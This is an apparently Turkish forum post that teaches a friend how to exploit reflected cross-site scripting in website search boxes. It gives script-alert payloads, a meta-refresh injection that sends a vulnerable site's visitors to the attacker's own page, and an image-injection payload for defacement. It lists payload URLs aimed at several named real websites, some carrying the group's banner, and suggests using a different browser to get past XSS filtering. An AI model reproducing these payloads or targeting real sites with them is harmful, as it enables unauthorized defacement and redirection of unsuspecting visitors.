kardesm xss demek site üzerinde kod calistirmaktir
genellıkle sitelerin arama yapma yerinde bulunur
örnegin = sertanblir.com/ara.php?q=
xss olup olmadıgını ise şu seklde anlariz
site php ile yazılmıs ise; sertanblir.com/ara.php?q=<script>alert("documen.domain")</script>
site asp ile yazilmiş ise ; sertanblir.com/ara.php?q=-><script>alert('document.domain')</script>
yanı bu kodlari arama yerine yazariz örnek bıkac da site verecem o zaman daha iyi anlarsin
ha bak daha bambaska kodlar var örnek olarak bunlari verdim googleden arastrrsan cok hosuna gdecek kodlar bulabılırsın
birde xss yı chroma tarayıcısı göstermez yanı mozilla firefox kullanman gerekiyor buyuk ıhtımal yukludur pc de dmi ? explorerda olur
hani dedim ya asp ise php ise bu kodlar diye genellıkle asp sitelerde kullanılan kod php sıtelerde de calişiyor 2 sınıde kullanabilirsin yani
örnek site :
http://tatil.mynet.com/ sag taraftaki arama yerine yukarida ki yazdgm kodlardan bırını yaz
bıkac tane de ben kod verim işine yarar belki
Kod:
yiyen siteleri yönlendirebilirsin
sertanblir.com/ara.php?q=<***** http-equiv=Refresh content="1;url=http://siteniz.com/indexiniz.html"></*****>
<html> <body> <IMG SRC="http://website.com/indexresmin.png"> </ body> </ html> site uzernde resim gösterebilirsin
**** 'li yer me/ta birlesik seklde / isareti yok
örnek siteler (başta dedigim gibi chrome tarayicisi bunlari göstermez mozilla firefox veya internet explorer ile girmelisin )
Kod:
http://www.ferrari.com/English/Formula1/Search/Pages/AllCategories.aspx?k=-><script>alert('EagLe AJANLAR.ORG')</script>
http://imageshack.us/slideshow/webplayer.php?id=><script>alert(document.domain)</script><marquee><h2>Ajanlar.Org EagLe</h2></marquee>
www.nba.com/games/gameInfo/teamRoster.html?team=><script>alert(document.domain)</script><marquee><h1>EagLeajanlar.0rg<h1></marquee>
başarilar , takıldıgın yerde burdayım
